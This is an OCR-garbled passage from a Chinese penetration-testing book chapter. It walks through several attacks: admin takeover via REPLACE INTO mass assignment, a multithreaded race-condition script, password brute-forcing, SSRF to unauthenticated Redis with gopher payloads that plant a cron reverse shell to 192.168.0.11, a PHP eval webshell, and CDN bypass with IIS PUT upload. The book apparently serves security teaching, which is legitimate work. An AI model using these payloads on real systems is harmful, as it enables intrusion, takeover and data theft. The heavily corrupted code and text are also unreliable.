第7章实例分析钊 375

else retu 「「1 $this- >lastinsertidG(); 
}else{ 

if($b1Ale内） check: :Al e 「t （”新增失败”） j 

「etu「n false; 

}else{ 
if($this- > updateUser($a「「） !== false){ 

i手（ $isAle「t) check: : Ale内（”修改成功 ！”） ; 

else 「eturn t「ue;

}else{ 
if($b1Alert) check: :Alert （”修改失败”） j 

return false; 

通过check: :getAPI调用mcenter中的savelnfo（）函数 C check::getAPI的作用是通过

call_ user_ func _array调用mcenter.class.php中的savelnfo（）函数，由于不是重点，所以未

列出代码）。

找到mcenter. class.php中的savelnfo（）函数，代码如下所示。

function saveinfo($a「「Data,$isModify=false,$isAle「t=t「ue){
$ar「＝ a「「ay() ;

$a「「＝ check :: Sqlinjection($this- >saveTableFieldG($a「「Data ,$isModi卡y));

if($is问odify ＝＝ θ）｛ 

「etu「n $this- >insertUse「（ $a「「） j 

}else{ 
if($this - > updateUse「（ $a「「）！＝＝于alse){

if($isAle「t) check: :Ale「t(
r、ett」「、 n tr、ue;

}else{ 
if($b1Ale「t) check: : Ale「t （＂修改失败！”）；

「etu「n false; 

savelnfo（）函数先通过check::Sqlln ection对参数添加addslashes转义，然后带入到

$this->insertUser($a时，此处的$arr就是传递进来的$_pOST，继续跟进inse口User（），这

仅供非商业用途或交流学习使用
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里可以看到，代码使用阻PLACE INTO插入数据，如下所示。

public 手unction insertUse「（ $a「「Data){

$st「SQL =”REPLACE INTO $this->tablenamel (”; 
$st「SQL .＝’ 、 ＇ ; 
$st「SQL .= implode （ ，、 ， 、 ，， a 「ray_keys($a 「「Data));

$st「SQL . = ＇ 、 ） ’；

$st 「SQL .= " VALUES (’”; 
$st「SQL . =implode （＂ ＇， ’飞 $a「「Data) ;

$strSQL .= "')”; 
if ($this- >db- >exec($strSQL)) { 

「etu 「n $this- > db- > last!nse「t!d();

} else { 
「eturn false , 

replace into的功能跟insert的类似，不同点在于， replace into首先尝试插入数据到

表中 。

如果发现表中己经有此行数据（根据主键或者唯一索引判断）， 则先删除此行数

据，然后插入新的数据；否则，直接插入新数据。

现在，整个注册的过程就很清晰了，存在下面这两个问题。

• 使用insertVser（）插入数据时传递的是$＿POST，而不是固定的参数。. 执行SQL语句时使用的是阻PLACE INTO，而不是insert 。

利用上面这两点，就可以成功注册管理员了。

利用的过程如下。

• 为了演示，我们先看下数据库中的数据：管理员的user id=l （控制权的表

中指明user_id=l 的用户为管理员） , user_name=admin, password=l23456, 

如图7-13所示。
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←丁→ ’ U髓，·＿Id u阳＿name c。咱＞＿name con幅民·耐幢幢阳忧国e real_na时 nlck_n8f回回回嘀嘀d

用f'ld 量晕帐号 公匈鲁i; IXJ奥地址 •• 真实魅8 0 ，褒罄码

『 J，罐辐圣£量制×删除 1 回min 210001 123456 

图7-13 管理员信息

• 访问以下URL，提示注册完成。这里的重点是user id=l ， 注册的时候是不

包含此参数的，此参数是手工添加的，如图7-14所示。

http:/. iser/regin.php 

G Enable Post data ~ Enable Referrer 

useu回me叫田地email·1串163.com&m。bile叶B611111111&p。stccde•210001&passw。rd•1234567B&passw。rd_c•1234567B&u坦r_id叫

图7-14 构造POC

• 再到数据库中查看数据，可以看到，管理员的用户名和密码己经被更改了 ，

如图7-15所示。

←γ→ ... u阳＿Id u脚，m附 corp_name co耐C(add呻幅因此唰 real_name nlck_name pasaword 
用f'ld 量晕峰’ ~司鲁惊 u尴尬 .. ，‘裹幢毡 晤帽 量晕’西

，，娼”萨重割 χ ，除 1 t回 21臼J01 12345678 

图7-15 成功更改管理员的信息
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7.1.5 竞争条件漏洞

打开CMS源码中的gi丘php文件， 此代码的作用是使用积分兑换商品 ， 将获取的

参数带入到update_gift（）函数中，代码如下所示。

function on add() { 
if(isset($th i s- >post [’ r eal name ’])){ 

$「ealname =st「ip_tags( $thi s - > post ［’「ea lname ' ]) ;

$email = st 「ip_tags( $this ->post [’ email']) ; 
$phone =str、ip_tags( $this- >pos t [’ phone ’]) ; 
$add「＝St「ip_tags ( $this- >post [ ' addr、 · ］）；

$postcode =st「ip_tags ( $th i s- >post [’ postcode ’ ]); 
$qq =strip_tags( $this- >post [ 'qq ' ]) ; 
$notes =st 「ip_tags( $this ->post[ ' notes ’]) ; 
$gid =St「ip_tags( $thi s- >post [’ gid ’]) ; 
$param = a 「「ay() ;

if （’·＝＝$「ealname 11 ”==$email 11 '’==$phone 11 ”==$addrl I ' '==$postcode) 

$_ENV[ 'use「’］－ ＞ update_gift($this- > use「［’ uid ' ］，$「ealname,$email,$phone , $qq) ;

$_ENV ［’ gift ' ]- > addlog($this- > use「 ［ 'u i d ' ],$gid , $this- > use「［ ’ use 「name'],$realname , $

this->user、［＇ email ’］ ， $phone , $add 「， $postcode,$gift ［’ title ’］， $qq , $notes,$gi手t ［’ er、edi

t ’]); 
$this -> c 「edit ( $t h is- > u s e r ［ ’ uid ＇ ］， θ，－ $gift ［’ er、edit ’］）；／／扣除财富值

跟进update_gift（）函数，代码如下所示， 此函数的作用就是执行数据库UPDATE,

更新数据， 通过对代码的检查， 可以发现在query时并没有对数据库加锁， 所以此处

可以考虑利用多线程造成竞争条件漏洞。

function update_gift($uid, $「ealn ame , $email , $phone, $qq) { 
$this- >db- > que「y("UPDATE " . DB_TABLEPRE . ” user SET 

、 realname ‘ ＝·$「ealname ’ 3 、 email ‘ ＝’ $email ＇ ，、 phone 、 ＝’ $phone ’ 3 、 qq 、 ＝’ $qq ’ WHERE

、 uid 、 ＝$uid " ) ;

} 

利用过程如下所示。
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• 注册一个账号并登录，当前的账号的财富值是35 ， 想兑换的商品售价30财

富值，在正常情况下是只能兑换一件商品的，如图7-16所示。

礼~~!S

财富惕

3333 

.‘ 

图7 - 16 当前的“财富值”

• 使用Python编写多线程脚本，接着使用threading新建100个线程，然后同时

请求兑换该商品（不能保证所有的请求都能执行成功），代码如下所示。

impo「t 「equests

impo「t threading 

de手 pos (): 

data ＝｛’ gid ’ ： ’ 1 ’，’「ealname' : 'test' , 'email ’ : ’ 1@121 . eom', 'phone ':’ 18000000001 ’, 

'addr、， ： ’ %E5%8C%97%E4%BA%AC%E9%95%BF%E5%9F%8E ’ 3

’ postcode' : '111111', 'qq E :’ 1 ’, E notes ’: ’ 1 ', 'submit' : 'l'}_cookies={’ tp_sid ’:’ c48b613 

f61d0c6dc', 'PHPSESSID ’ ：’ θ392e7b532b5c73768cad77508649407 ’， 'tp_auth ’:’ bef06n24gYSw 

E「Vt254oiVR61HB%2FmwDrP「oZJ4dZhkdTeTgz2a 「jMkJnOxq5%2FQyFzqθ61KT7Z7ah6ZmxboX0sj0'}

「＝「equests.post （’ http :// 127.0.0.1

/?gi卡t/add.html',cookies=_cookies,data =data)

P「int （「 .text)

于0户 i in r、ange （ θ， 100) :

t = th「eading.Th「ead(ta「get=pos)

t.start() 

脚本执行结束后，可以看到，己经多次兑换了该商品，并且财富值变成了－205,

如图7-17和图7-18所示。
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图7-17 成功执行 （ 1 )

test 刚刚兑换了礼画·采集揭件·

test 刚刚兑换了礼昂·采集插件’

test 刚刚兑换了礼晶·采集插件·

图7-18 成功执行 （ 2 )

7.2 渗透测试实例分析

7.2.1 后台爆破

礼属公告

财富串串

t回t
噩葡财富也~20S

如何累得黝富7

3333 

lU 

在对某网站进行渗透测试时，笔者找到了后台登录地址，登录界面如图7- 19所示。

后台管理登录

帐号．

密码·

验i囚： E二3函画

[li] 
图7-19 登录界面
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该登录界面存在图形验证码，一般情况下，需要使用图片识别工具识别图片中

的验证码，然后进行暴力破解，但是此验证码存在漏洞：只要不刷新页面，图形验

证码就可以一直使用 。 例如使用Burp Suite的Repeater工具一直发送登录的数据包，就

可以暴力破解，如图7-20所示。

POST /•rl,.,;nr.ndox.php!m礼。gin&o •login HπP/1.1 
Host 

Conttn• ""”"' 67 
C"h•·Cnw州州仰叫咆•O

。ng1n

Upg"o' ！”川＇＂＂＂＂＇＂＂＂＂ 1 
c。ntent－τ，，，.呻p ＂＂＇＂！＇ 闹剧－fonn u巾ncoded
υ”’－Agonc Moolla/5.0 （飞、.＜nd饥鸭 NT 10.0: Win"'1: >"'11 匈pl•\\"bK<ν537.36 (KHTMJ. i<b 
G"ko) Chcome/"4.0.3282.119 S•l•ri/537 36 
Am pt 
1'xt/html，•何时~＂＂＂＇＇＂＇＂＇＇＂＂！ .....叫叩＇＇＂＂。n/•mlq•09川、•9咄咄b队m•g•/apng.•r;q•0.8
Rol"'c I dox~hp’m•L。gm&.•logm

Ampt-Enco。 09:gop. ..旧＂
Ampt·Languago <h·CN 由刘.. .• 

c。nnecti。n ＂。＂

K<ount<•d.run&pa＝~td·21232f297•57'5•743回.410e4a801旧制n1y.102•I

图7-20 利用验证码漏洞

• HπP/1.1 200 。K
o .. .， ，，.。，飞 19 "'" 2018 •• ，曰：01 GMτ 
＇＂向俐， ，.，.，..，.h .. n a 节川等n32)0阳nSSL/1β2JPH町SAAS

"''"" rnu i 当 NOV 1Y81 08元）2:00GMT
Cache C。ntr创 p而vale

'"gm• n。 cache
c。ntont·L•no性、 1558

I Con＂＇＇＂•＂＂＇。”
c。ntmt Typo mνhtml <hm.,•utl·B 

I «DOC向伊ε hon/ PUBUC '·I＇·凹CρOTD XH7Mι ，。o T'4n•f，由＂＇ν'(fN
~1<ptA响刑时.org/rR/71>rml1/0TDf,由阶旧..., ...阳•l.dt<f>
<htm忡

’ <hoad> 
<tftte＞窝画圈司民〈／剧”I •m阳 ht uiv旷C。 也T阳＂ conten
‘ m"' http eq“，..，，衍啊h＇＜。nttnt•'3:\JRL•J•》mript割＂。俨yb“k(·1) ; >
q酬．>

I html. bodyt闹，gln:Q poddl”’αb"do.:O noocfont14阳
Y础。mo Ve<do..., llno-hclghtt SO,.,bad<gt oond刚才hltol

• It四t·dccor.at:I。””。”销国恼，结174873. botdtt- bottom Ip• 由mod •••YI 
• b。Vet｛四l。，注目Q botdo.-b。忧。m.1p民 duhod gray! 
dlvm~go{ma，，加 t 0% auto Opx au忡，d睛， both:paddon g Spx botdet tpx <olid 
div四 E四！.align:E耐ct width ：咽唰

叩an.w划叫＇°＇。t:bluefo"'·wcl9htbold)
申an e，，。，｛<01。，”d; font wclghtbold) 
...饵”＂~＊。，。＇ bluefont-wdghtbold) 
div m<ol""••'" 2。”。”l
〈／’削阶

‘＂＂甜〉
<body> 
<dN <lm<'mmag• "> 

<dN ＜~•«＂m吨·，
"''" d剖s="error＂，瓣’警侠’II 帐号不在lmBi1!!11 </<p•n> </div> 

且从返回结果可以看到，账号admin不存在，此处存在用户枚举漏洞，利用该漏

洞即可枚举系统中己经存在的账号。

现在第一步就是需要找到后台的登录账号，随便打开网站中的一篇新闻，找出

发布者，最终确定的发布者有：科技管理部、财务部、办公室等，如图7-21所示。

回 囚 团 1 ~＃：栅阳和精 100 酬的f句：； 【H印此页｝ 【关闭1

图7-21 找出新闻的发布者

然后笔者尝试使用发布者名称的首字母登录，例如同glb, cwb 、 bgs，发现确实

存在该账号，如图7-22所示。
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续作失败！密码错误！ I 

页面将在 2秒后自动回憬，如果不想等待清点击这~ g据 | 

图7-22 用户枚举

现在就需要尝试暴力破解这些用户的密码，在暴力破解前，通过网站、搜索引

擎搜索到以下这些相关信息。

• 后台账号： kjglb 、 cwb, bgs 、 xxzx 。. 网站域名 ： xxx.com o

• 互联网暴露过的漏洞： SQL注入漏洞。

接下来，制定常用的密码规则，然后根据密码规则生成密码库，常用的密码规

则有 （仅列举了部分规则）如下所示。

• 历史密码。

• 历史密码倒叙。

• 账号＋＠／＿／ ！等＋域名，例如bgs@xxx, bgs_xxx等。. 账号＋年份，例如bgs2015 、 bgs2016等。

• 首字母大小，例如Bgs2015 、 Bgs2016等。

接着利用生成的密码，使用BurpSuite的Intruder功能进行暴力破解。由于登录的

数据包中的密码是经过MD5哈希的，所以还需要对Payload增加一个MD5处理，如图

7-23所示。

Payload Processing 

You can define rules to pe巾rm 四nous processing tasks on each payload EEEE 
Enabled I Rule 

回 Hash : MOS 

图7-23 MDS晗希
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最终暴力破解出用户bgs的密码是Bgs2016 ！＠＃，登录后台后，利用上传文件的环

境直接上传WebShell l\! P可。

7.2.2 SSRF+Redis 获得 WebShell

笔者在进行一次渗透测试时，没有发现目标站点存在可直接利用的漏洞，但却

发现C段中的一个网站存在SSRF漏洞，通过添加一个网址，就可以访问内部网络，

如图7-24所示。
R用“再理圃 ， 酌”窑，，ι，.. ”。飞，....，.

E圈
图7-24 SSRF漏洞

由于此SS盯漏洞能够在页面上回显信息，所以可以直接遍历内部信息，笔者通

过不断尝试，发现目标站点存在Redis未授权访问漏洞，如图7-25所示。

一f- c 0 ;>hp?url=dictJ/192.168.0.4.6379/info 

-ERR Svntax error, try CLIENT (UST I KILL ip:port I GETNAME I SETNAME connection-name) $1923 # Se阿er redis＿~ 

re- - - - - opl卧
．．、vn＜».，~品、飞in_Clays:O hz 

图7-25 Redis未授权访问漏洞

下面就是利用Redis未授权访问漏洞获取反弹的Shell的过程。

36952 used m 
mem_all。“tor.jema
.>gsave _time_ sec. -1 

• 在Linux系统中，使用socat进行端口转发， 将Redis的6379端口转为8888端口

（目的是为了记录请求Redis的数据包〉，命令如下所示。

socat -v tcp-listen : 8888 ，卡ork tcp-connect:localhost : 6379 

• 新建一个redis.sh文件，内容如下所示。

echo - e ”\n\n */1 * * * * bash -i >& /dev/tcp/192.168 . 0.11/2333 0 >&1\n\n ”｜「edis-cli

-h 127 . 0.0.1 -p 8888 - x set 1 

「edis-cli -h 127.0 . θ.1 - p 8888 config set d i「 ／va「／ s pool / c 「on/

「edis - cli -h 127 . 0.0.1 -p 8888 config set dbfilename 「oot

redis-cli -h 127.θ ． θ.1 - p 8888 save 

仅供｜｜＝商业JTJi垂必交流学习佼用



384 ’ Web安全攻防：渗透测试实战指南

• 上述命令是利用Redis未授权访问创建反弹Shell的命令，其中 192.168.0.11

为接收端地址， 2333为接受端端口，如图7-26所示， 客户端利用NC监听2333

端口 。

图7-26 NC接收端

然后终端执行bash redis.sh，执行后， Socat捕获到redis的命令如下所示l 。

> 2018/03/19 20:55 : 22.543250 length=86 f「om=0 to=85 

* 3 ＼「

$3 ＼「

set＼「

$1＼「

1＼俨

$59＼俨

*/1 * * * * bash - i >& /dev/tcp/192.168.θ.11/2333 0>&1 

＼「

< 2018/03/19 20 : 55 :22.544668 length=5 f「om=0 to=4 

+OK＼「

> 2018／θ3/19 20:55:22 .547350 length=57 f「om＝θto=56

*4＼「

$6＼「

config＼「

$3 ＼「

set＼「

$3\r 
dir＼「

$16＼「

/va「／ spool/cron／＼「

< 2018／θ3/19 20:55:22 . 547568 length=5 于「om=0 to=4 

+OK＼「

> 2018/03/19 20:55:22.550036 length=52 from=0 to=51 

1 本节的部分内容引用 自 https ://j oychou. org/web/phpssrf.html 。



*4＼「

$6＼俨

config＼「

$3\r 
set ＼「

$10＼「

dbfilename＼「

$4＼俨

「oot ＼「

< 2018/03/19 20:55:22.550253 length=5 f「om=0 to=4 

+OK＼「

> 2018/03/19 2θ ： 55:22.552669 length=14 f「om＝θto=13

* 1＼「

$4＼「

save＼「

< 2018/03/19 20:55:22.554036 length=5 f「om=0 to=4 

+OK ＼「
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• 使用工具对上述内容进行转换， 工具代码如下所示。

工mpo「t sys 

poc =” 

with open (’ redis.txt ’) as f: 
for line in f. 「eadlines():

if line ［ θ ］ i n ’ ><+’:

continue 
el if l ine[ -3: -1] ＝＝「’＼「’：

i手 len(line) == 3: 

poc = poc +’ %0a%0d%0a ’ 

else: 

poc = poc + line ．「eplace （「’＼「＇， ' %0d%0a ’) .replace(’\n’,··) 

elif line== '\x0a ’: 

poc = poc + ’ %0a ’ 

else: 

line= line . replace('\n ’,..) 

poc = poc + line 

P「int(poc)

执行python3 redis.py后，得到的结果如图7-27所示。
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m：：：：~ m~m ；：~：： :i11 
’ J:Od 啡。a$3 .0 、 0.3Se t乃Od ‘， Oa$1.· Odx＇』 0.3 l 飞日d·.Oa$59 飞Od叭Oa"SOa泣。a’／ 1 .食命舍 bash -l ＞晶／d i

ev/tcp/192 loS.0 . 11/2333 0 ＞且 n日a'Oa飞Oa<Od到Oa*4饭。d茧Oa$6%0d埠。aconfi.g%Od%Oa$3埠。d国oa l
se t 、 Od 旷日a$3 飞 Od·.Qadi. 「 j Od 、 0.3$16·日d Oa/va 「／ spool/cron ／翌日d元。a ‘4元日dS0a$6%0d坦白ac。nfi.g置 1

Od 旷日a$3 屯。d 飞 Oast>t 飞Od 、Oa$10 飞。d ·Oadbf l lenaf'le 只Od、Oa$4刘Od坦白a root元。d肖oa 世 1%0d%0a$4%0d揭0 1

a save •Od··Oa I 

图7-27 转换后的命令

• 在本地利用curl尝试访问以下内容，可以看到返回四条 “＋OK” ，代表Redis

命令执行成功 ， 如图7-28所示。

cur、1 -v 

'gophe「：／／ 127.0.0.1 : 6379 ／一＊ 3%0d%θa$3%0d%0aset%0d%θa$1%0d%0a1%θd%0a$59%θd%θa%θa%0a

*/1 * * * * bash -i >& /dev/tcp/192 . 168 . 0 . 11/2333 

0 >&1%0a%0a%0a%0d%0a *4%0d%0a$6%0d%0acon手ig%0d%0a$3%0d%θaset%θd%0a$3%θd%θad i「%0d%0a

$16%0d%0a/va「／ spool/c「on/%0d%0a *4%θd%0a$6%θd%0aconfig%θd%0a$3%0d%θaset%θd%0a$10%0 

d%0adbfilename%0d%θa$4%0d%0a「oot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a ’
画画画画画画画画画画画画画画画画画画画画画面iiiiiiiiiiiiiii画画画画画画画iiiiiiiiiiiiiii

今日d～ Oa$59 .Od 、 OaιOa oa ’/ l • • 、 • bash · i. 〉且 /dev /tcp/ 192 . 168. O. 11/2333 O>&l克Oa艳。
a oa:od吨。a 鸭 4 ,Od Oe$ti:·l:ld 飞Oacon f i.g.Od'" Oa$3.<:0d 吧。a se E五日d%0a$3,,0d%0adi. r再Od再Oa$16克Od且o

a/var /spool/cronf' Od' Oa ’斗＼日d Oa$ti、日d、oaconfi.g•0d对oa$3-.:od 如日a set抖。d视日as 1日共日d坦白ad bf 
i. lenaMe. Od 飞 Oa$4"0d 飞 oaroot Od·Oa'J-Od 二 Oa$4 尤od-Oasave~日d吨。a ’

‘ T 「 yrng 127 o.o 1.. 
＊ ιonnected to 127 .0.0. l ( 127 0.0.1) po 「 t 6379 (li0) 
+OK 
+OK 
+OK 

图7-28 成功利用Red is漏洞

• 接下来需要利用SS盯漏洞，对上面生成的代码，进行url编码，如下所示。

gophe「：／／ 127.θ . 0.1 : 6379/_* 3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%θa *

/1 * * * * bash -i >& /dev/tcp/192.168.0 . 11/ 2333 

0 >&1%0a%0a%0a%θd%0a *4%0d%0a$6%θd%0acon于ig%0d%0a$3%0d%θaset%0d%0a$3%0d%0adi「%0d%θa

$16%0d%0a/va「／ spool/c「on/%0d%0a *4%0d%θa$ 6%0d%0aconfig%0d%0a$3%0d%θaset%0d%0a$10%0 

d%0adbfilename%0d%θa$4%θd%0a「oot%0d%0a * 1%0d%0a$4%0d%θasave%0d%θa

得到的结果如下所示。

gophe「%3A%2卡%2f192.168.θ . 4%3A6379%2f_%2a3%250d%250a%243%250d%25θaset%250d%250a%24 

1%250d%250a1%250d%250a%2459%250d%250a%250a%250a%2a%2于1%20%2a%20%2a%20%2a%20%2a%20

bash%20-i%20%3E%26%2θ%2fdev%2ftcp%2f192.168.θ.11%2f2333%200%3E%261%250a%250a%250a 

%250d%250a%2a4%250d%250a%246%250d%25θaconfig%25θd%250a%243%250d%25θaset%250d%250a 

%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fc「on%2卡%250d%250a%2a4%

25θd%250a%246%250d%250aconfig%25θd%250a%243%250d%250aset%250d%25θa%2410%25θd%250a 

dbfilename%250d%250a%244%250d%250a「oot%250d%250a%2a1%250d%2 5 0a%244%25θd%25θasave% 

250d%250a 
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然后利用curl请求， 如下所示， 如图7-29所示。

cu「1 -v 

’ http :/ /192.168.0 . 11/ ss「手 .php?u「l=gophe「%3A%2f%2于192.168 . 0.4%3A6379%2f_%2a3%250d%

250a%243%250d%250aset%25θd%25θa%241%250d%25θa1%250d%250a%2459%250d%250a%250a%250a 

%2a%2f1%20%2a%20%2a%20%2a%2θ%2a%20bash%20-i%2θ%3E%26%2θ%2fdev%2ftcp%2于192.168.θ.1

1%2f2333%200%3E%261%250a%25θa%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%25 

0d%250a%243%250d%250aset%250d%250a%243%250d%250adi「%250d%250a%2416%250d%25θa%2于va

r%2fspool%2fc ron%2于%250d%250a%2a4%250d%250a%246%25θd%250aconfig%25θd%250a%243%250

d%250aset%250d%250a%241θ%250d%250adbfilename%250d%250a%244%250d%25θaroot%250d%25θ 

a%2a1%250d%250a%244%250d%250asave%25θd%250a ’ • 
克3A6379%2f 坦2a3%250d%250a吉Q43"0.250d'\;2 50aset 毛250d 二250a 飞·241 吨250d 气250aF250d·'250a·"24 I 
59%25。d%250a%250a弘250a%2a弃2f1 失； 20剖2a孙20、 2a芥 20 、 2a<20 2a ~20bas h 咒 20 l 、 20吨.3 E ：只2ono弘2f I 
d ev自Zftcp到2f192.168 . 0.11诅2f2333坦2日。士 3E 汇201 2soa :zsoa 2soa 、 2 sod -2 soa 气2a4 25 日d代 2so I 
a回246到250d组250aconfi.g孟250d坦250a剖 243:>:250d 川250asetγ250d 250a丹243飞 250d 飞250adi. 「λ2sod I 
%250a肖2416呢250d到2soa坦2fva 「骂2fspool\2fc 「 on-2f坦250d 250<J;· 2a4' 25日d 250a 气 246二、 250dζ2s I 
Oaconfi.g骂250d艳250a荒243曳250d现250aseb25日dOSZS日a飞2410:- 2 sodι250adbfl lenarieι2 sod'·,2 soa I 
到244 弄250d到250a 「 oot?i250d 旦250a弘2al 气 250d-'250a: 244.·zsod 250asave•'250d 吨 2soa' I 
* T 「 yi.ng 192.16s . 0.1i. . . I 
安 Connected to 192 . 168 . 0 . 11 (192 . 168 . 0. 11) po 「 t so (r.O) I 
> GET /ss 「 f.php?u 「 l=gophe 「丑 3Aν： 2f二2f192 168.0 . 4 3A6379 2f_ .2a3·250d 250a . .'.43 250d I 
词250ase t丑250d%250a%241'.>0250d元2soa1旦250d"'250a气2459o"250d•250司、 2 soa·二 2 soa 注 2a-·-2f P'.20三2 I 
a坦20剖2a江2日记2a艳20当Za吨20bash剖20 ·i. 元2日与3E "'26 -20<2 f dev: :zf tc p 飞 2f192 . ios . 0.11· 2f233h20 I 
0克 3E骂261克2soa坦zsoa唱250a弘250d丑250a'<2a4元25日d 250a'-246> 2 sod· 2 soaιonfi.g· ：、 250d•250a三24 I 
3克250d元25日a set壳250d艳250a骂243达250d飞250adi.r 巳 250d → 250J·24i6 250dη250a: 2fva 「 2fspool I 
如2fc 「 on到2f%25日d骂250a耳2a4豆250d如250a 注246'250d 250aconfi.g 气250d 250a 243卢250dρ250ase I 
t%250d%250a'>S241日白250d到2soadbfi. lenarie-·;2sod -2soa 244飞250d 飞250a 「 oo t .;2 sod -;2 s 日占引2al九 2 I 
sod再zsoa到244坦250d现250asave丑250d弘250a HTTP/1.1 I 
> Host: 192.168 . 0 . 11 • 
> Use 「 Agent: cu 「 l/7 . 47 . o I 

图7-29 利用Red i s漏洞

• 访问请求后，成功反弹shell ， 如图7-30所示。

图7- 30 反弹shell

Redis还有一个常用的漏洞 ： 只需要知道网站的绝对路径，就可以利用未授权访

问漏洞向网站目录写WebShell，命令如下所示。
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「edis-cli -h 127.θ ． θ.1 -p 8889 con于ig set di 「 ／ va 「／www/html/

「edis-cli -h 127.0.θ.1 -p 8889 config set dbfilename webshell.php 

「edis-cli -h 127.0 . 0 . 1 p 8889 set webshell 'lll<? php @eval($_POST[a]) ; ?> ’ 

「edis-cli 『 h 127.θ ． θ . 1 -p 8889 save 

利用上面介绍的方法，得到的请求如下所示。

cu「1 -v 

'http : //192 . 168.0.ll/ss「于 .php?u俨l=gophe「%3A%2f%2f192.168 . θ . 4%3A6379%2f_%2a4%250d%

250a%246%250d%25θa conf ig%250d%25θa%243%25θd%25θaset%250d%250a%243%250d%250ad i「%25

0d%250a%2414%25θd%25θa%2fva「%2fwww%2fhtml%2于%25θd%250a%2a4%250d%250a%246%25θd%250

aconfig%250d%25θa%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%2 

412%250d%250awebshell . php%250d%25θa%2a3%250d%250a%243%250d%250aset%250d%250a%248% 

250d%250awebshell%250d%250a%2429%250d%250alll%253C%253Fphp%2520@eval%2528%2524_PO 

ST%255Ba%255D%2529%253B%2520%253F%253E%25θd%250a%2a1%250d%250a%244%250d%250asave% 

25θd%250a%250a ’ 

访问该链接后，就会在／var/www/html/ 目录下创建webshell抖lp，如图7-31所示。

%3A6379%2f_%2a4%250d %250a%246%250d%250aconfi.g%250d%250a%243%250d%250aset%250d%25 
0a%243%250d%250adi. 「%250d%25日a%2414%2 50d%2 50a%2 fva r %2 f1~ww%2 fhtM l %2f%250d%250a%2a4 
出250d%250a坦246%250d克250aconfi.g%250d%250a%243克250d%250aset%250d%250a%2410%250d%2 5
0adbfi.lenal'le%250d%250a百2412%250d%250awebshell.php%250d%250a%2a3%250d%250a%243%2 5
0d%250aset%250d%250a%248%250d%250awebshell%250d%250a%2429克250d%250a111%253ζ%253F
php%2520@eval%2528%2524_POST%255Ba%255D%2529%253B%2520骂253F%253E%250d%250a%2a1%2
50d%250a%244%250d%250asave%250d%250a%250a ’ 
* Tryi.ng 192 . 168.0 . 11. . . 
* Connected to 192 168.0.11 (192.168 . 0.11) po 「 t 80 （＃日）

吉62 50aconfi.g%250d %2 50a%24 3克250d%250aset%250d%25日a%243%250d%250adi. 「%250d%250a%2414
%250d%250a%2fva 「%2fw~M%2fhtMl%2f%250d%250a%2a4%250d%250a克246%250d%250aconfi.g%250
由250a%243肖250d%250aset%250d骂250a坦2410%250d骂25日adbfi.lenaMe%250d百250a%2 412°%2 50d%2 
50awebshell.php%250d %250a%2a3%250d%250a%243%250d%250aset%250d%250a%248%250d%250a 
web shell坦250d%250a%2429%250d%250a111%253C坦253Fphp%2520@eval%2528%2524甲POST%255Ba
%255D%2529%253B%2520%253F%253E%250d%250a%2a1%250d百250a%244%250d%250asave%250d%25
0a%250a HTTP/1.1 
>Host : 192.168.0.11 
>User-Agent : curl/7 . 47.0 

图7-31 成功写WebShell

7.2.3 旁站攻击

笔者在对一个网站进行渗透测试时，发现网站使用了CDN加速， 如果对该网站
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发送恶意数据包，该CDN就会封禁攻击者的IP，导致无法访问该网站， 如图7-32所示。

图7-32 网站使用了CDN

其实有很多种方法可以绕过CDN寻找真实的网站IP，发现网站存在邮箱注册的

功能（在注册账户时需要验证邮箱）。所以尝试注册一个用户，然后再查看接收到的

邮件的原文，如图7-3 3所示。

发件人· > ' •• 1 臼·

时间： 2018每－－－－－ － －
收件人．

图7-33 显示邮件原文

从邮件原文中可以看到发件人的E地址，如图7-34所示。

Received : from 
by 
for < 

X-QQ-FEAT: y37167r 
X-QQ-MAILINFO: NL3WK .. _ . 

E1Ak5ge 
lSw 

X『QQ-mid: mx\ 
X-QQ-0邸Sender

图7-34 查看发件人的IP

】四llmown l12 
.NewMx) with SITl"lir 

组

·' .Leji 

一般情况下，邮箱的IP和网站的E属于同一C段，所以可以通过扫描C段IP来寻

找网站的真实IP，然后通过访问网站IP的方式绕过CDN的安全限制。注册账号后，笔

者发现可以上传头像，但是只能上传图片文件，无法上传WebShell，如图7-35所示。
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上传文件类型不允许

回国
图7-35 无法上传WebShell

笔者接着使用Nmap扫描网站开放的端口，发现服务器开放了8080端口，且存在

目录浏览漏洞，可以直接看到网站目录下的文件，如图7-36所示。

eσ 1 0 Up阳ds/

Index 。f /Upl。ads

·臼应且且血血。－
• .Ell国且Dl
·到跑回
．血！：l
• im旦gt:L

图7-36 目录浏览漏洞

通过不断浏览目录下的文件，笔者发现了一个特点： 8080端口是文件服务器，

在80端口上传的图片文件，其实是上传到了8080端口上，上传后的图片路径是一样

的，如图7-37和图7-3 8所示。

缸l80/Uploa由/image/2017-03 -20/Sab07298f 1 384.pr唱

图7-37 8080端口的文件



< 6J Elements Console 

一”- saved fr咽川·｛
html> 
• <head>- </h .. d>

'<body > 
’ ＜he•d•俨＞－＜ ／ h.. de俨〉

s。＇＂白毛 Networ也

• <div closs inno，、”•t＿李lHh >-< /d立v予
’ <div class ” index inner”>

咱， ＜ div class •” aboutus styl e-1 > 
• <h3 class ” titl•">- </h3>

’ <div class• ” ac 
’ <div> 

1吨 S阿＇llllRit

图7-38 80端口的文件
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Perfonnance Memo叩 Appl比ation ~rity 

style· hel&ht" 191px, > 

H曰“”917-9主－ 29/S•蛐n咽<1"'4 nno二 sty！叫

通过扫描，笔者发现8080端口存在IIS PUT漏洞，可以直接上传WebShell，所以

在8080端口上上传一个PHP WebShell文件，然后就可以通过80端口访问了 （ 8080端口

不解析PHP程序，所以不能直接通过8080端口访问）。

7.2.4 重置密码

在目标用户重置个人密码时，存在多种攻击方式，本小节介绍一种常用的方式：

通过session覆盖漏洞重置他人密码。正常情况下重置密码的过程是在找回密码界面中

输入手机号，获取短信验证码，然后向服务器端提交重置密码的请求，如果输入的

短信验证码正确，密码就重置成功了，如图7-39所示。

找回窑洞

‘ 
[if E灵取验证码

6、

……－臼圃，........ 
已苟胀号 【lz!ID登景】

图7-39 重置密码的界面

仅供非商业用途或交流学习佼用
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重置他人密码的过程如下所示。

• 自己的账号是18000000002，要重置的账号是180000000010

. 在浏览器上打开两个TAB页面，都是重置密码的界面。
• 在第一个TAB页面上输入18000000001 ，然后单击“获取验证码”（这里为

了演示，直接将短信验证码显示在界面上）按钮，如图7-40所示。

找回密码

